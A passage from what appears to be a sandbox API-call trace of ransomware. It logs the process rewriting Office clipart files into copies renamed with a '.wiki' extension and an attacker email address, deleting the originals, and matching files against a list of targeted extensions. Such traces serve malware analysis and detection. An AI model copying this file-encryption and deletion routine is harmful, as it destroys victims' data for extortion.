(lpString1=".1cd", lpString2=".WMF") returned -1 [0190.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.623] lstrlenW (lpString=".jpg") returned 4 [0190.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.623] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.623] lstrlenW (lpString="J0090390.WMF") returned 12 [0190.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.624] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17638) returned 1 [0190.624] CloseHandle (hObject=0x1f8) returned 1 [0190.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20 [0190.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.624] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.624] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.625] GetLastError () returned 0x0 [0190.625] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x44e6, lpOverlapped=0x0) returned 1 [0190.627] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x44f0, lpOverlapped=0x0) returned 1 [0190.628] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.628] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.628] SetEndOfFile (hFile=0x1c8) returned 1 [0190.628] CloseHandle (hObject=0x1c8) returned 1 [0190.628] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.628] SetEndOfFile (hFile=0x1f8) returned 1 [0190.629] CloseHandle (hObject=0x1f8) returned 1 [0190.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0190.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.629] lstrlenW (lpString=".doc") returned 4 [0190.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.629] lstrlenW (lpString=".docx") returned 5 [0190.629] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0190.630] lstrlenW (lpString=".pdf") returned 4 [0190.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.630] lstrlenW (lpString=".xls") returned 4 [0190.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.630] lstrlenW (lpString=".xlsx") returned 5 [0190.630] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0190.630] lstrlenW (lpString=".ppt") returned 4 [0190.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.630] lstrlenW (lpString=".zip") returned 4 [0190.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.630] lstrlenW (lpString=".rar") returned 4 [0190.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.630] lstrlenW (lpString=".bz2") returned 4 [0190.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.630] lstrlenW (lpString=".7z") returned 3 [0190.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.630] lstrlenW (lpString=".dbf") returned 4 [0190.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.630] lstrlenW (lpString=".1cd") returned 4 [0190.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.630] lstrlenW (lpString=".jpg") returned 4 [0190.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.630] lstrlenW (lpString=".doc") returned 4 [0190.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.630] lstrlenW (lpString=".docx") returned 5 [0190.630] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0190.631] lstrlenW (lpString=".pdf") returned 4 [0190.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.631] lstrlenW (lpString=".xls") returned 4 [0190.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.631] lstrlenW (lpString=".xlsx") returned 5 [0190.631] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0190.631] lstrlenW (lpString=".ppt") returned 4 [0190.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.631] lstrlenW (lpString=".zip") returned 4 [0190.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.631] lstrlenW (lpString=".rar") returned 4 [0190.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.631] lstrlenW (lpString=".bz2") returned 4 [0190.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.631] lstrlenW (lpString=".7z") returned 3 [0190.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.631] lstrlenW (lpString=".dbf") returned 4 [0190.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.631] lstrlenW (lpString=".1cd") returned 4 [0190.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0190.631] lstrlenW (lpString=".jpg") returned 4 [0190.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.631] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.632] lstrlenW (lpString="J0090777.WMF") returned 12 [0190.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.632] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3332) returned 1 [0190.632] CloseHandle (hObject=0x1f8) returned 1 [0190.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 0x20 [0190.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.632] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.632] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.633] GetLastError () returned 0x0 [0190.633] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xd04, lpOverlapped=0x0) returned 1 [0190.661] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd10, lpOverlapped=0x0) returned 1 [0190.662] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.662] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.662] SetEndOfFile (hFile=0x1c8) returned 1 [0190.662] CloseHandle (hObject=0x1c8) returned 1 [0190.662] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.662] SetEndOfFile (hFile=0x1f8) returned 1 [0190.666] CloseHandle (hObject=0x1f8) returned 1 [0190.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0190.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.667] lstrlenW (lpString=".doc") returned 4 [0190.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.667] lstrlenW (lpString=".docx") returned 5 [0190.667] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0190.667] lstrlenW (lpString=".pdf") returned 4 [0190.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.667] lstrlenW (lpString=".xls") returned 4 [0190.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.667] lstrlenW (lpString=".xlsx") returned 5 [0190.667] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0190.667] lstrlenW (lpString=".ppt") returned 4 [0190.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.667] lstrlenW (lpString=".zip") returned 4 [0190.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.667] lstrlenW (lpString=".rar") returned 4 [0190.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.667] lstrlenW (lpString=".bz2") returned 4 [0190.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.667] lstrlenW (lpString=".7z") returned 3 [0190.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.667] lstrlenW (lpString=".dbf") returned 4 [0190.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.668] lstrlenW (lpString=".1cd") returned 4 [0190.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.668] lstrlenW (lpString=".jpg") returned 4 [0190.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.668] lstrlenW (lpString=".doc") returned 4 [0190.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.668] lstrlenW (lpString=".docx") returned 5 [0190.668] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0190.668] lstrlenW (lpString=".pdf") returned 4 [0190.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.668] lstrlenW (lpString=".xls") returned 4 [0190.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.668] lstrlenW (lpString=".xlsx") returned 5 [0190.668] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0190.668] lstrlenW (lpString=".ppt") returned 4 [0190.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.668] lstrlenW (lpString=".zip") returned 4 [0190.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.668] lstrlenW (lpString=".rar") returned 4 [0190.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.668] lstrlenW (lpString=".bz2") returned 4 [0190.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.668] lstrlenW (lpString=".7z") returned 3 [0190.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.668] lstrlenW (lpString=".dbf") returned 4 [0190.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.668] lstrlenW (lpString=".1cd") returned 4 [0190.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0190.669] lstrlenW (lpString=".jpg") returned 4 [0190.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.669] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.669] lstrlenW (lpString="J0093905.WMF") returned 12 [0190.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.669] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=42050) returned 1 [0190.669] CloseHandle (hObject=0x1f8) returned 1 [0190.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20 [0190.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.670] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.670] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.670] GetLastError () returned 0x0 [0190.670] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xa442, lpOverlapped=0x0) returned 1 [0190.704] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xa450, lpOverlapped=0x0) returned 1 [0190.706] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.706] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.706] SetEndOfFile (hFile=0x1c8) returned 1 [0190.706] CloseHandle (hObject=0x1c8) returned 1 [0190.706] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.706] SetEndOfFile (hFile=0x1f8) returned 1 [0190.707] CloseHandle (hObject=0x1f8) returned 1 [0190.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0190.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.708] lstrlenW (lpString=".doc") returned 4 [0190.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.708] lstrlenW (lpString=".docx") returned 5 [0190.708] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0190.708] lstrlenW (lpString=".pdf") returned 4 [0190.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.708] lstrlenW (lpString=".xls") returned 4 [0190.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.708] lstrlenW (lpString=".xlsx") returned 5 [0190.708] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0190.708] lstrlenW (lpString=".ppt") returned 4 [0190.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.708] lstrlenW (lpString=".zip") returned 4 [0190.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.708] lstrlenW (lpString=".rar") returned 4 [0190.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.708] lstrlenW (lpString=".bz2") returned 4 [0190.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.708] lstrlenW (lpString=".7z") returned 3 [0190.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.708] lstrlenW (lpString=".dbf") returned 4 [0190.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.709] lstrlenW (lpString=".1cd") returned 4 [0190.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.709] lstrlenW (lpString=".jpg") returned 4 [0190.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.709] lstrlenW (lpString=".doc") returned 4 [0190.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.709] lstrlenW (lpString=".docx") returned 5 [0190.709] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0190.709] lstrlenW (lpString=".pdf") returned 4 [0190.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.709] lstrlenW (lpString=".xls") returned 4 [0190.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.709] lstrlenW (lpString=".xlsx") returned 5 [0190.709] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0190.709] lstrlenW (lpString=".ppt") returned 4 [0190.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.709] lstrlenW (lpString=".zip") returned 4 [0190.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.709] lstrlenW (lpString=".rar") returned 4 [0190.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.709] lstrlenW (lpString=".bz2") returned 4 [0190.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.709] lstrlenW (lpString=".7z") returned 3 [0190.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.710] lstrlenW (lpString=".dbf") returned 4 [0190.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.710] lstrlenW (lpString=".1cd") returned 4 [0190.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0190.710] lstrlenW (lpString=".jpg") returned 4 [0190.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.710] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.710] lstrlenW (lpString="J0099148.JPG") returned 12 [0190.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 